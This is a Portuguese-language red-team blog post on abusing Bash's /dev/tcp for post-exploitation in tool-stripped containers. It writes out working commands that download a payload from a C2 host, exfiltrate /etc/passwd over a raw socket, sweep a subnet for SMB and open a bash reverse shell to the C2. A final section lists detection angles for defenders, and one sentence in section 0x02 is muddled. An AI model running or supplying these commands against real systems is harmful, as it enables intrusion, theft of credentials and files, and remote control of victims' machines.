RETURN_TO_BASE
LANG_SELECT:
Red Team 2026-03-12 @reeshasx

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

[ 0x00 ] A RESTRIÇÃO DO AMBIENTE DE EXECUÇÃO (LFI/RCE)

Considere o cenário típico de pós-exploração: a obtenção bem-sucedida de Execução Remota de Código (RCE) em uma aplicação web rodando sob um container Docker. Ao tentar baixar payloads de segundo estágio ou ferramentas adicionais de pós-exploração, o operador se depara com a ausência de utilitários de transferência comuns:

$ wget http://c2-server.local/payload.sh
bash: wget: command not found
$ curl http://c2-server.local/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

Esse endurecimento (hardening) básico do container visa reduzir a superfície de ataque ao expurgar binários de rede clássicos. No entanto, se o interpretador Bash estiver instalado e ativo, é possível explorar recursos nativos do próprio shell para criar conexões de rede e transferir dados arbitrários.

[ 0x01 ] O PSEUDO-DISPOSITIVO /dev/tcp DO BASH

O pseudo-caminho /dev/tcp/ não corresponde a um arquivo especial de caractere ou bloco no VFS do Linux (ao contrário de /dev/null ou /dev/urandom). Trata-se de uma funcionalidade interna compilada diretamente no código-fonte do Bash (ativada por padrão na maioria das distribuições Linux via flag de compilação --enable-net-redirections).

Ao redirecionar entrada ou saída para o caminho padrão /dev/tcp/<HOST>/<PORT>, o Bash intercepta a chamada de abertura de arquivo e, internamente, realiza a resolução DNS e instancia um socket de rede TCP nativo por meio das chamadas de sistema socket e connect do Linux.

Nota Crítica de Compatibilidade: Esta funcionalidade é estritamente vinculada ao interpretador Bash (e KornShell). Ele não funciona no interpretador ash do BusyBox (que equipa por padrão imagens minimalistas como o Alpine Linux) nem no dash (shell padrão em instalações Debian e Ubuntu). Nestes ambientes, tentar utilizar /dev/tcp resultará em um erro de arquivo inexistente.

Abaixo, demonstra-se a construção de um port scanner minimalista em puro Bash utilizando o pseudo-dispositivo sob a verificação de timeout do sistema:

# Testa se a porta 80 está aberta no host 10.0.0.5 com timeout de 1 segundo
if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "[+] Porta 80/TCP aberta."
else
    echo "[-] Porta 80/TCP fechada ou filtrada."
fi

[ 0x02 ] CONSTRUÇÃO DE REQUISIÇÕES HTTP NA MÃO

Sem o utilitário curl, o operador pode usar descritores de arquivo customizados do Bash (exec <número>[<>]) para abrir conexões bidirecionais (leitura/escrita) e forjar cabeçalhos HTTP brutos que sigam as especificações RFC 7230:

# 1. Aloca o descritor de arquivo 3 para conexão bidirecional com o host C2
exec 3<>/dev/tcp/c2-server.local/80

# 2. Envia a requisição HTTP/1.1 em conformidade com o protocolo (requer terminação CRLF - 
)
echo -e "GET /payload.sh HTTP/1.1\r\nHost: c2-server.local\r\nConnection: close\r\n\r\n" >&3

# 3. Lê a resposta do stream de rede e a redireciona para um arquivo local
cat <&3 > payload.sh

Essa técnica evita a invocação de novos processos, pois todas as etapas de roteamento de pacotes ocorrem dentro do próprio processo do interpretador Bash ativo, uma vez que a leitura direta via cat consumiria também os cabeçalhos HTTP da resposta, corrompendo scripts executáveis caso não fossem previamente descartados no loop de leitura do socket.

[ 0x03 ] EXFILTRAÇÃO STEALTH E PING SWEEPS SEM ICMP

Para exfiltração rápida de dados, pode-se ler o conteúdo de arquivos e redirecionar a saída direto para o descritor de rede:

# No servidor C2 (escutando via netcat clássico)
nc -lvnp 4444

# Na máquina comprometida (exfiltração direta)
cat /etc/passwd > /dev/tcp/c2-server.local/4444

Se o protocolo ICMP estiver bloqueado na rede interna pelo firewall impedindo o mapeamento de hosts via comandos como ping, pode-se realizar varreduras paralelas assíncronas utilizando a lógica do Bash em background (&):

# Varredura assíncrona na sub-rede /24 procurando pela porta 445 (SMB)
for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "[+] Host 10.0.0.$ip ativo (SMB)" &
done
wait

[ 0x04 ] O RETORNO: REVERSE SHELLS INTERATIVOS

O uso mais comum da funcionalidade reside no spawning de reverse shells interativos sem a dependência de linguagens de script adicionais (como Python ou Perl):

bash -i >& /dev/tcp/c2-server.local/9001 0>&1

O comando acima inicializa uma instância interativa do Bash (-i), redireciona a saída padrão (stdout via >) e a saída de erro padrão (stderr via &) para o socket de rede conectado ao C2. Por fim, a entrada padrão (stdin via 0>&1) é duplicada da saída de rede, permitindo o recebimento de comandos.

[ 0x05 ] PERSPECTIVA DE TELEMETRIA E VETORES DE DETECÇÃO (BLUE TEAM)

A alegação comum de que essa técnica é totalmente invisível baseia-se na ausência de novos artefatos em disco ou logs de novos processos executados. No entanto, ela é altamente visível sob outras perspectivas de segurança:

  1. Monitoramento de Conexões de Shell (EDR/SIEM): Interpretadores de comando (como bash, sh, zsh) realizando chamadas de sistema connect diretamente para a rede externa é um comportamento altamente suspeito. Regras heurísticas de EDR alertam imediatamente sobre conexões de rede originadas de interpretadores de sistema.
  2. Volume de Syscalls: A execução de loops de scan gera dezenas de syscalls connect sequenciais a partir do PID do Bash em curto intervalo de tempo, comportamento que dispara alertas comportamentais imediatos.
  3. Logs de Transição de Estado: Ferramentas que monitoram tabelas de sockets ativos (como netstat, ss ou logs de conexões locais) revelarão conexões TCP estabelecidas associadas ao PID do interpretador Bash.
#bash #networking #exfiltration #post-exploitation
ID: recon-without-tools
RYSHA DATABASE CORE SYSTEM // STANDALONE_VIEWER_PROTOCOL_ACTIVATED